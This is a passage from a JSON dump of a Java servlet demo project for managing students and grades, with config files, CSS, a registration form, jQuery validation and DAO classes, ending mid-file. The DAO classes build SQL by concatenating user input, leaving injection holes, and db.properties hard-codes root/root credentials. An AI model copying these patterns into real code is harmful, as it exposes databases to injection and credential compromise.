    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns=\"http://xmlns.jcp.org/xml/ns/javaee\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd\"\n         version=\"4.0\">\n    <servlet>\n        <servlet-name>zhuceServlet</servlet-name>\n        <servlet-class>com.lf.servlet.zhuceServlet</servlet-class>\n    </servlet>\n    <servlet-mapping>\n        <servlet-name>zhuceServlet</servlet-name>\n        <url-pattern>/zhuceServlet</url-pattern>\n    </servlet-mapping>\n    <servlet>\n        <servlet-name>selectServlet</servlet-name>\n        <servlet-class>com.lf.servlet.selectServlet</servlet-class>\n    </servlet>\n    <servlet-mapping>\n        <servlet-name>selectServlet</servlet-name>\n        <url-pattern>/selectServlet</url-pattern>\n    </servlet-mapping>\n</web-app>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/webapp/css/login.css",
    "content": "body{\n\tbackground: #ddd\n}\n.loginwarrp{\n\tmargin: 250px auto;\n    width: 400px;\n    padding: 30px 50px;\n    background: #FFFFFF;\n    overflow: hidden;\n    font-size: 14px;\n    font-family: '΢ź','Ȫ','';\n}\n.loginwarrp .logo{\n\twidth:100%;\n\theight:44px;\n\tline-height: 44px;\n\tfont-size: 20px;\n\ttext-align: center;\n\tborder-bottom:1px solid #ddd;\n}\n.loginwarrp .login_form{\n\tmargin-top: 15px;\n}\n.loginwarrp .login_form .login-item{\n\tpadding: 2px 8px;\n\tborder:1px solid #dedede;\n\tborder-radius: 8px;\n\tmargin-top: 10px;\n}\n.loginwarrp .login_form .login_input{\n\theight: 35px;\n    border: none;\n    line-height: 35px;\n    width: 200px;\n    font-size: 14px;\n    outline: none;\n}\n.loginwarrp .login_form .verify{\n\tfloat: left;\n}\n.loginwarrp .verify .verify_input{\n\twidth: 160px;\n}\n.loginwarrp .verifyimg{\n\theight: 30px;\n    margin: 20px 0 0 20px;\n}\n.loginwarrp .login-sub{\n\ttext-align: center;\n}\n.loginwarrp .login-sub input{\n\tmargin-top:15px;\n    background: #45B549;\n    line-height: 35px;\n    width: 150px;\n    color: #FFFFFF;\n    font-size: 16px;\n    font-family: '΢ź','Ȫ','';\n    border: none;\n    border-radius: 5px;\n}\n.loginwarrp .login_form .login-item .error{\n\tcolor: #F00;\n\tfont-family: '΢ź','Ȫ','';\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/webapp/css/reset.css",
    "content": "\nhtml, body, div, span, applet, object, iframe,\nh1, h2, h3, h4, h5, h6, p, blockquote, pre,\na, abbr, acronym, address, big, cite, code,\ndel, dfn, em, img, ins, kbd, q, s, samp,\nsmall, strike, strong, sub, sup, tt, var,\nb, u, i, center,\ndl, dt, dd, ol, ul, li,\nfieldset, form, label, legend,\ntable, caption, tbody, tfoot, thead, tr, th, td,\narticle, aside, canvas, details, embed, \nfigure, figcaption, footer, header, hgroup, \nmenu, nav, output, ruby, section, summary,\ntime, mark, audio, video {\n\tmargin: 0;\n\tpadding: 0;\n\tborder: 0;\n\tfont-size: 100%;\n\tfont: inherit;\n}\n/* HTML5 display-role reset for older browsers */\narticle, aside, details, figcaption, figure, \nfooter, header, hgroup, menu, nav, section {\n\tdisplay: block;\n}\nbody {\n\tline-height: 1;\n}\nol, ul,li {\n\tlist-style: none;\n}\nblockquote, q {\n\tquotes: none;\n}\nblockquote:before, blockquote:after,\nq:before, q:after {\n\tcontent: '';\n\tcontent: none;\n}\ntable {\n\tborder-collapse: collapse;\n\tborder-spacing: 0;\n}\na{\n\ttext-decoration: none;\n\tcolor: #333;\n\tdisplay: block;\n}\nbody{\n    font-size: 14px;\n}\n.clearfix{\n\tzoom:1;\n}\n.clearfix:after{\n\tcontent:\".\";\n\tdisplay:block;\n\tvisibility:hidden;\n\theight:0;\n\tclear:both;\n}\n.fl,.l{\n\tfloat: left;\n}\n.fr,.r{\n\tfloat: right;\n}\n/*margin-top*/\n.mt10{\n\tmargin-top: 10px;\n}\n.mt15{\n\tmargin-top: 15px;\n}\n.mt20{\n\tmargin-top: 20px;\n}\n.mt5{\n\tmargin-top: 5px;\n}\n.mt0{\n\tmargin-top: 0px;\n}\n/*padding-left*/\n.pl15{\n\tpadding-left: 15px;\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/webapp/js/canvas-particle.js",
    "content": "var CanvasParticle = (function(){\n\tfunction getElementByTag(name){\n\t\treturn document.getElementsByTagName(name);\n\t}\n\tfunction getELementById(id){\n\t\treturn document.getElementById(id);\n\t}\n\t// 根据传入的config初始化画布\n\tfunction canvasInit(canvasConfig){\n\t\tcanvasConfig = canvasConfig || {};\n\t\tvar html = getElementByTag(\"html\")[0];\n\t\tvar body = getElementByTag(\"body\")[0];\n\t\tvar canvasDiv = getELementById(\"canvas-particle\");\n\t\tvar canvasObj = document.createElement(\"canvas\");\n\n\t\tvar canvas = {\n\t\t\telement: canvasObj,\n\t\t\tpoints : [],\n\t\t\t// 默认配置\n\t\t\tconfig: {\n\t\t\t\tvx: canvasConfig.vx || 4,\n\t\t\t\tvy:  canvasConfig.vy || 4,\n\t\t\t\theight: canvasConfig.height || 2,\n\t\t\t\twidth: canvasConfig.width || 2,\n\t\t\t\tcount: canvasConfig.count || 100,\n\t\t\t\tcolor: canvasConfig.color || \"0, 0, 255\",\n\t\t\t\tstroke: canvasConfig.stroke || \"130,255,255\",\n\t\t\t\tdist: canvasConfig.dist || 6000,\n\t\t\t\te_dist: canvasConfig.e_dist || 20000,\n\t\t\t\tmax_conn: 10\n\t\t\t}\n\t\t};\n\n\t\t// 获取context\n\t\tif(canvas.element.getContext(\"2d\")){\n\t\t\tcanvas.context = canvas.element.getContext(\"2d\");\n\t\t}else{\n\t\t\treturn null;\n\t\t}\n\n\t\tbody.style.padding = \"0\";\n\t\tbody.style.margin = \"0\";\n\t\t// body.replaceChild(canvas.element, canvasDiv);\n\t\tbody.appendChild(canvas.element);\n\n\t\tcanvas.element.style = \"position: absolute; top: 0; left: 0; z-index: -1;\";\n\t\tcanvasSize(canvas.element);\n\t\twindow.onresize = function(){\n\t\t\tcanvasSize(canvas.element);\n\t\t}\n\t\tbody.onmousemove = function(e){\n\t\t\tvar event = e || window.event;\n\t\t\tcanvas.mouse = {\n\t\t\t\tx: event.clientX,\n\t\t\t\ty: event.clientY\n\t\t\t}\n\t\t}\n\t\tdocument.onmouseleave = function(){\n\t\t\tcanvas.mouse = undefined;\n\t\t}\n\t\tsetInterval(function(){\n\t\t\tdrawPoint(canvas);\n\t\t}, 40);\n\t}\n\n\t// 设置canvas大小\n\tfunction canvasSize(canvas){\n\t\tcanvas.width = window.innerWeight || document.documentElement.clientWidth || document.body.clientWidth;\n\t\tcanvas.height = window.innerWeight || document.documentElement.clientHeight || document.body.clientHeight;\n\t}\n\n\t// 画点\n\tfunction drawPoint(canvas){\n\t\tvar context = canvas.context,\n\t\t\tpoint,\n\t\t\tdist;\n\t\tcontext.clearRect(0, 0, canvas.element.width, canvas.element.height);\n\t\tcontext.beginPath();\n\t\tcontext.fillStyle = \"rgb(\"+ canvas.config.color +\")\";\n\t\tfor(var i = 0, len = canvas.config.count; i < len; i++){\n\t\t\tif(canvas.points.length != canvas.config.count){\n\t\t\t\t// 初始化所有点\n\t\t\t\tpoint = {\n\t\t\t\t\tx: Math.floor(Math.random() * canvas.element.width),\n\t\t\t\t\ty: Math.floor(Math.random() * canvas.element.height),\n\t\t\t\t\tvx: canvas.config.vx / 2 - Math.random() * canvas.config.vx,\n\t\t\t\t\tvy: canvas.config.vy / 2 - Math.random() * canvas.config.vy\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t// 处理球的速度和位置，并且做边界处理\n\t\t\t\tpoint =\tborderPoint(canvas.points[i], canvas);\n\t\t\t}\n\t\t\tcontext.fillRect(point.x - canvas.config.width / 2, point.y - canvas.config.height / 2, canvas.config.width, canvas.config.height);\n\n\t\t\tcanvas.points[i] = point;\n\t\t}\n\t\tdrawLine(context, canvas, canvas.mouse);\n\t\tcontext.closePath();\n\t}\n\n\t// 边界处理\n\tfunction borderPoint(point, canvas){\n\t\tvar p = point;\n\t\tif(point.x <= 0 || point.x >= canvas.element.width){\n\t\t\tp.vx = -p.vx;\n\t\t\tp.x += p.vx;\n\t\t}else if(point.y <= 0 || point.y >= canvas.element.height){\n\t\t\tp.vy = -p.vy;\n\t\t\tp.y += p.vy;\n\t\t}else{\n\t\t\tp = {\n\t\t\t\tx: p.x + p.vx,\n\t\t\t\ty: p.y + p.vy,\n\t\t\t\tvx: p.vx,\n\t\t\t\tvy: p.vy\n\t\t\t}\n\t\t}\n\t\treturn p;\n\t}\n\n\t// 画线\n\tfunction drawLine(context, canvas, mouse){\n\t\tcontext = context || canvas.context;\n\t\tfor(var i = 0, len = canvas.config.count; i < len; i++){\n\t\t\t// 初始化最大连接数\n\t\t\tcanvas.points[i].max_conn = 0;\n\t\t\t// point to point\n\t\t\tfor(var j = 0; j < len; j++){\n\t\t\t\tif(i != j){\n\t\t\t\t\tdist = Math.round(canvas.points[i].x - canvas.points[j].x) * Math.round(canvas.points[i].x - canvas.points[j].x) + \n\t\t\t\t\t\t\tMath.round(canvas.points[i].y - canvas.points[j].y) * Math.round(canvas.points[i].y - canvas.points[j].y);\n\t\t\t\t\t// 两点距离小于吸附距离，而且小于最大连接数，则画线\n\t\t\t\t\tif(dist <= canvas.config.dist && canvas.points[i].max_conn <canvas.config.max_conn){\n\t\t\t\t\t\tcanvas.points[i].max_conn++;\n\t\t\t\t\t\t// 距离越远，线条越细，而且越透明\n\t\t\t\t\t\tcontext.lineWidth = 0.5 - dist / canvas.config.dist;\n\t\t\t\t\t\tcontext.strokeStyle = \"rgba(\"+ canvas.config.stroke + \",\"+ (1 - dist / canvas.config.dist) +\")\"\n\t\t\t\t\t\tcontext.beginPath();\n\t\t\t\t\t\tcontext.moveTo(canvas.points[i].x, canvas.points[i].y);\n\t\t\t\t\t\tcontext.lineTo(canvas.points[j].x, canvas.points[j].y);\n\t\t\t\t\t\tcontext.stroke();\n\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// 如果鼠标进入画布\n\t\t\t// point to mouse\n\t\t\tif(mouse){\n\t\t\t\tdist = Math.round(canvas.points[i].x - mouse.x) * Math.round(canvas.points[i].x - mouse.x) + \n\t\t\t\t\t\tMath.round(canvas.points[i].y - mouse.y) * Math.round(canvas.points[i].y - mouse.y);\n\t\t\t\t// 遇到鼠标吸附距离时加速，直接改变point的x，y值达到加速效果\n\t\t\t\tif(dist > canvas.config.dist && dist <= canvas.config.e_dist){\n\t\t\t\t\tcanvas.points[i].x = canvas.points[i].x + (mouse.x - canvas.points[i].x) / 20;\n\t\t\t\t\tcanvas.points[i].y = canvas.points[i].y + (mouse.y - canvas.points[i].y) / 20;\n\t\t\t\t}\n\t\t\t\tif(dist <= canvas.config.e_dist){\n\t\t\t\t\tcontext.lineWidth = 1;\n\t\t\t\t\tcontext.strokeStyle = \"rgba(\"+ canvas.config.stroke + \",\"+ (1 - dist / canvas.config.e_dist) +\")\";\n\t\t\t\t\tcontext.beginPath();\n\t\t\t\t\tcontext.moveTo(canvas.points[i].x, canvas.points[i].y);\n\t\t\t\t\tcontext.lineTo(mouse.x, mouse.y);\n\t\t\t\t\tcontext.stroke();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn canvasInit;\n})();"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/webapp/js/login.js",
    "content": "$(function(){\n\t$('#username').focus().blur(checkName);\n\t$('#password').blur(checkPassword);\n});\n\nfunction checkName(){\n\tvar name = $('#username').val();\n\tif(name == null || name == \"\"){\n\t\t//提示错误\n\t\t$('#count-msg').html(\"用户名不能为空\");\n\t\treturn false;\n\t}\n\tvar reg = /^\\w{3,10}$/;\n\tif(!reg.test(name)){\n\t\t$('#count-msg').html(\"输入3-10个字母或数字或下划线\");\n\t\treturn false;\n\t}\n\t$('#count-msg').empty();\n\treturn true;\n}\n\nfunction checkPassword(){\n\tvar password = $('#password').val();\n\tif(password == null || password == \"\"){\n\t\t//提示错误\n\t\t$('#password-msg').html(\"密码不能为空\");\n\t\treturn false;\n\t}\n\tvar reg = /^\\w{3,10}$/;\n\tif(!reg.test(password)){\n\t\t$('#password-msg').html(\"输入3-10个字母或数字或下划线\");\n\t\treturn false;\n\t}\n\t$('#password-msg').empty();\n\treturn true;\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/webapp/select.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>显示数据</title>\n</head>\n<body>\n<a href=\"selectServlet\">显示数据</a>\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/webapp/zhuce.html",
    "content": "﻿<!DOCTYPE html>\n<html>\n<head>\n\t<meta charset=\"utf-8\" />\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n\t<title></title>\n\t<link rel=\"stylesheet\" href=\"css/reset.css\" />\n\t<link rel=\"stylesheet\" href=\"css/login.css\" />\n        <script type=\"text/javascript\" src=\"js/jquery.min.js\"></script>\n        <script type=\"text/javascript\" src=\"js/login.js\"></script>\n</head>\n<body>\n<div class=\"page\">\n\t<div class=\"loginwarrp\">\n\t\t<div class=\"logo\">注册</div>\n        <div class=\"login_form\">\n\t\t\t<form id=\"Login\" name=\"Login\" method=\"get\"  action=\"zhuceServlet\">\n\t\t\t\t<li class=\"login-item\">\n\t\t\t\t\t<span>用户名：</span>\n\t\t\t\t\t<input type=\"text\"  name=\"name\" class=\"login_input\" >\n                                        <span id=\"count-msg\" class=\"error\"></span>\n\t\t\t\t</li>\n\t\t\t\t<li class=\"login-item\">\n\t\t\t\t\t<span>密　码：</span>\n\t\t\t\t\t<input type=\"password\"  name=\"password\" class=\"login_input\" >\n                                        <span id=\"password-msg\" class=\"error\"></span>\n\t\t\t\t</li>\n                <li class=\"login-item\">\n                    <span>性 别：</span>\n                    <input type=\"password\"  name=\"sex\" class=\"login_input\" >\n                    <span id=\"sex-msg\" class=\"error\"></span>\n                </li>\n                <li class=\"login-item\">\n                    <span>地 址：</span>\n                    <input type=\"password\" name=\"address\" class=\"login_input\" >\n                    <span id=\"address-msg\" class=\"error\"></span>\n                </li>\n                <li class=\"login-item\">\n                    <span>时 间：</span>\n                    <input type=\"date\"  name=\"date\" class=\"login_input\" >\n                    <span id=\"date-msg\" class=\"error\"></span>\n                </li>\n\t\t\t\t<li class=\"login-sub\">\n\t\t\t\t\t<input type=\"submit\" name=\"Submit\" value=\"注册登陆\" />\n                                        <input type=\"reset\" name=\"Reset\" value=\"重置\" />\n\t\t\t\t</li>                      \n           </form>\n\t\t</div>\n\t</div>\n</div>\n<script type=\"text/javascript\">\n\t\twindow.onload = function() {\n\t\t\tvar config = {\n\t\t\t\tvx : 4,\n\t\t\t\tvy : 4,\n\t\t\t\theight : 2,\n\t\t\t\twidth : 2,\n\t\t\t\tcount : 100,\n\t\t\t\tcolor : \"121, 162, 185\",\n\t\t\t\tstroke : \"100, 200, 180\",\n\t\t\t\tdist : 6000,\n\t\t\t\te_dist : 20000,\n\t\t\t\tmax_conn : 10\n\t\t\t}\n\t\t\tCanvasParticle(config);\n\t\t}\n\t</script>\n\t<script type=\"text/javascript\" src=\"js/canvas-particle.js\"></script>\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/resources/db.properties",
    "content": "jdbc.Driver=com.mysql.jdbc.Driver\njdbc.Url=jdbc:mysql://localhost:3306/lf?useSSL=true&useEncoding=utf-8&characterEncoding=utf-8\njdbc.UserName=root\njdbc.Password=root"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_webservlet</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<properties>\n\t\t<!-- 主要依赖库的版本定义 -->\n\t\t<junit.version>4.10</junit.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.12</version>\n\t\t\t<!-- <version>${junit.version}</version> -->\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<!-- <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> \n\t\t\t<version>3.1.0</version> <scope>provided</scope> </dependency> -->\n\t\t<!--servlet4 -->\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>4.0.1</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<!-- servlet3 -->\n\t\t<!-- <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> \n\t\t\t<version>3.0.1</version> <scope>provided</scope> </dependency> -->\n\n\t\t<!--servlet3.1 -->\n\t\t<!-- <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> \n\t\t\t<version>3.1.0</version> <scope>provided</scope> </dependency> -->\n\n\t\t<!-- https://mvnrepository.com/artifact/net.sf.json-lib/json-lib -->\n\t\t<dependency>\n\t\t\t<groupId>net.sf.json-lib</groupId>\n\t\t\t<artifactId>json-lib</artifactId>\n\t\t\t<version>2.4</version>\n\t\t\t<classifier>jdk15</classifier><!-- //此处要加上jdk版本号 -->\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<sourceDirectory>src/main/java</sourceDirectory>\n\t\t<resources>\n\t\t\t<resource>\n\t\t\t\t<directory>src/main/resources</directory>\n\t\t\t</resource>\n\t\t\t<resource>\n\t\t\t\t<directory>src/labs/java</directory>\n\t\t\t\t<includes>\n\t\t\t\t\t<include>**/*.hbm.xml</include>\n\t\t\t\t</includes>\n\t\t\t</resource>\n\t\t</resources>\n\t\t<testResources>\n\t\t\t<testResource>\n\t\t\t\t<directory>src/test/resources</directory>\n\t\t\t</testResource>\n\t\t</testResources>\n\n\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.tomcat.maven</groupId>\n\t\t\t\t<artifactId>tomcat7-maven-plugin</artifactId>\n\t\t\t\t<version>2.1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<port>8080</port>\n\t\t\t\t\t<path>/jun_webservlet</path>\n\t\t\t\t\t<uriEncoding>UTF-8</uriEncoding>\n\t\t\t\t\t<finalName>jun_webservlet</finalName>\n\t\t\t\t\t<server>tomcat7</server>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.5.1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.7</source>\n\t\t\t\t\t<target>1.7</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<!-- build-helper-maven-plugin, 设置多个源文件夹 -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.codehaus.mojo</groupId>\n\t\t\t\t<artifactId>build-helper-maven-plugin</artifactId>\n\t\t\t\t<version>1.4</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>add-source</id>\n\t\t\t\t\t\t<phase>generate-sources</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>add-source</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t<configuration>\n\t\t\t\t\t\t\t<sources>\n\t\t\t\t\t\t\t\t<source>${basedir}/src/main/java</source>\n\t\t\t\t\t\t\t\t<!-- <source>${basedir}/src/test/core</source> -->\n\t\t\t\t\t\t\t\t<!-- 我们可以通过在这里添加多个source节点，来添加任意多个源文件夹 -->\n\t\t\t\t\t\t\t</sources>\n\t\t\t\t\t\t</configuration>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t\t<!-- <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> \n\t\t\t\t<version>3.1</version> <configuration> <source>1.8</source> <target>1.8</target> \n\t\t\t\t<compilerArguments> <endorseddirs>${endorsed.dir}</endorseddirs> </compilerArguments> \n\t\t\t\t</configuration> </plugin> -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-war-plugin</artifactId>\n\t\t\t\t<version>2.6</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<warName>servlet4</warName>\n\t\t\t\t\t<failOnMissingWebXml>false</failOnMissingWebXml>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/dao/GradeDao.java",
    "content": "package com.jun.plugin.bizservice.dao;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\n\nimport com.jun.plugin.bizservice.model.Grade;\nimport com.jun.plugin.bizservice.model.PageBean;\nimport com.jun.plugin.bizservice.util.StringUtil;\n\npublic class GradeDao {\n\n\tpublic ResultSet gradeList(Connection con,PageBean pageBean,Grade grade)throws Exception{\n\t\tStringBuffer sb=new StringBuffer(\"select * from t_grade\");\n\t\tif(grade!=null && StringUtil.isNotEmpty(grade.getGradeName())){\n\t\t\tsb.append(\" and gradeName like '%\"+grade.getGradeName()+\"%'\");\n\t\t}\n\t\tif(pageBean!=null){\n\t\t\tsb.append(\" limit \"+pageBean.getStart()+\",\"+pageBean.getRows());\n\t\t}\n\t\tPreparedStatement pstmt=con.prepareStatement(sb.toString().replaceFirst(\"and\", \"where\"));\n\t\treturn pstmt.executeQuery();\n\t}\n\t\n\tpublic int gradeCount(Connection con,Grade grade)throws Exception{\n\t\tStringBuffer sb=new StringBuffer(\"select count(*) as total from t_grade\");\n\t\tif(StringUtil.isNotEmpty(grade.getGradeName())){\n\t\t\tsb.append(\" and gradeName like '%\"+grade.getGradeName()+\"%'\");\n\t\t}\n\t\tPreparedStatement pstmt=con.prepareStatement(sb.toString().replaceFirst(\"and\", \"where\"));\n\t\tResultSet rs=pstmt.executeQuery();\n\t\tif(rs.next()){\n\t\t\treturn rs.getInt(\"total\");\n\t\t}else{\n\t\t\treturn 0;\n\t\t}\n\t}\n\t\n\t/**\n\t * delete from tableName where field in (1,3,5)\n\t * @param con\n\t * @param delIds\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic int gradeDelete(Connection con,String delIds)throws Exception{\n\t\tString sql=\"delete from t_grade where id in(\"+delIds+\")\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\treturn pstmt.executeUpdate();\n\t}\n\t\n\tpublic int gradeAdd(Connection con,Grade grade)throws Exception{\n\t\tString sql=\"insert into t_grade values(null,?,?)\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, grade.getGradeName());\n\t\tpstmt.setString(2, grade.getGradeDesc());\n\t\treturn pstmt.executeUpdate();\n\t}\n\t\n\tpublic int gradeModify(Connection con,Grade grade)throws Exception{\n\t\tString sql=\"update t_grade set gradeName=?,gradeDesc=? where id=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, grade.getGradeName());\n\t\tpstmt.setString(2, grade.getGradeDesc());\n\t\tpstmt.setInt(3, grade.getId());\n\t\treturn pstmt.executeUpdate();\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/dao/StudentDao.java",
    "content": "package com.jun.plugin.bizservice.dao;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\n\nimport com.jun.plugin.bizservice.model.PageBean;\nimport com.jun.plugin.bizservice.model.Student;\nimport com.jun.plugin.bizservice.util.DateUtil;\nimport com.jun.plugin.bizservice.util.StringUtil;\n\npublic class StudentDao {\n\n\tpublic ResultSet studentList(Connection con,PageBean pageBean,Student student,String bbirthday,String ebirthday)throws Exception{\n\t\tStringBuffer sb=new StringBuffer(\"select * from t_student s,t_grade g where s.gradeId=g.id\");\n\t\tif(StringUtil.isNotEmpty(student.getStuNo())){\n\t\t\tsb.append(\" and s.stuNo like '%\"+student.getStuNo()+\"%'\");\n\t\t}\n\t\tif(StringUtil.isNotEmpty(student.getStuName())){\n\t\t\tsb.append(\" and s.stuName like '%\"+student.getStuName()+\"%'\");\n\t\t}\n\t\tif(StringUtil.isNotEmpty(student.getSex())){\n\t\t\tsb.append(\" and s.sex ='\"+student.getSex()+\"'\");\n\t\t}\n\t\tif(student.getGradeId()!=-1){\n\t\t\tsb.append(\" and s.gradeId ='\"+student.getGradeId()+\"'\");\n\t\t}\n\t\tif(StringUtil.isNotEmpty(bbirthday)){\n\t\t\tsb.append(\" and TO_DAYS(s.birthday)>=TO_DAYS('\"+bbirthday+\"')\");\n\t\t}\n\t\tif(StringUtil.isNotEmpty(ebirthday)){\n\t\t\tsb.append(\" and TO_DAYS(s.birthday)<=TO_DAYS('\"+ebirthday+\"')\");\n\t\t}\n\t\tif(pageBean!=null){\n\t\t\tsb.append(\" limit \"+pageBean.getStart()+\",\"+pageBean.getRows());\n\t\t}\n\t\tPreparedStatement pstmt=con.prepareStatement(sb.toString());\n\t\treturn pstmt.executeQuery();\n\t}\n\t\n\tpublic int studentCount(Connection con,Student student,String bbirthday,String ebirthday)throws Exception{\n\t\tStringBuffer sb=new StringBuffer(\"select count(*) as total from t_student s,t_grade g where s.gradeId=g.id\");\n\t\tif(StringUtil.isNotEmpty(student.getStuNo())){\n\t\t\tsb.append(\" and s.stuNo like '%\"+student.getStuNo()+\"%'\");\n\t\t}\n\t\tif(StringUtil.isNotEmpty(student.getStuName())){\n\t\t\tsb.append(\" and s.stuName like '%\"+student.getStuName()+\"%'\");\n\t\t}\n\t\tif(StringUtil.isNotEmpty(student.getSex())){\n\t\t\tsb.append(\" and s.sex ='\"+student.getSex()+\"'\");\n\t\t}\n\t\tif(student.getGradeId()!=-1){\n\t\t\tsb.append(\" and s.gradeId ='\"+student.getGradeId()+\"'\");\n\t\t}\n\t\tif(StringUtil.isNotEmpty(bbirthday)){\n\t\t\tsb.append(\" and TO_DAYS(s.birthday)>=TO_DAYS('\"+bbirthday+\"')\");\n\t\t}\n\t\tif(StringUtil.isNotEmpty(ebirthday)){\n\t\t\tsb.append(\" and TO_DAYS(s.birthday)<=TO_DAYS('\"+ebirthday+\"')\");\n\t\t}\n\t\tPreparedStatement pstmt=con.prepareStatement(sb.toString());\n\t\tResultSet rs=pstmt.executeQuery();\n\t\tif(rs.next()){\n\t\t\treturn rs.getInt(\"total\");\n\t\t}else{\n\t\t\treturn 0;\n\t\t}\n\t}\n\t\n\tpublic int studentDelete(Connection con,String delIds)throws Exception{\n\t\tString sql=\"delete from t_student where stuId in(\"+delIds+\")\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\treturn pstmt.executeUpdate();\n\t}\n\t\n\tpublic int studentAdd(Connection con,Student student)throws Exception{\n\t\tString sql=\"insert into t_student values(null,?,?,?,?,?,?,?)\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, student.getStuNo());\n\t\tpstmt.setString(2, student.getStuName());\n\t\tpstmt.setString(3, student.getSex());\n\t\tpstmt.setString(4, DateUtil.formatDate(student.getBirthday(), \"yyyy-MM-dd\"));\n\t\tpstmt.setInt(5, student.getGradeId());\n\t\tpstmt.setString(6, student.getEmail());\n\t\tpstmt.setString(7, student.getStuDesc());\n\t\treturn pstmt.executeUpdate();\n\t}\n\t\n\tpublic int studentModify(Connection con,Student student)throws Exception{\n\t\tString sql=\"update t_student set stuNo=?,stuName=?,sex=?,birthday=?,gradeId=?,email=?,stuDesc=? where stuId=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, student.getStuNo());\n\t\tpstmt.setString(2, student.getStuName());\n\t\tpstmt.setString(3, student.getSex());\n\t\tpstmt.setString(4, DateUtil.formatDate(student.getBirthday(), \"yyyy-MM-dd\"));\n\t\tpstmt.setInt(5, student.getGradeId());\n\t\tpstmt.setString(6, student.getEmail());\n\t\tpstmt.setString(7, student.getStuDesc());\n\t\tpstmt.setInt(8, student.getStuId());\n\t\treturn pstmt.executeUpdate();\n\t}\n\t\n\tpublic boolean getStudentByGradeId(Connection con,String gradeId)throws Exception{\n\t\tString sql=\"select * from t_student where gradeId=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, gradeId);\n\t\tResultSet 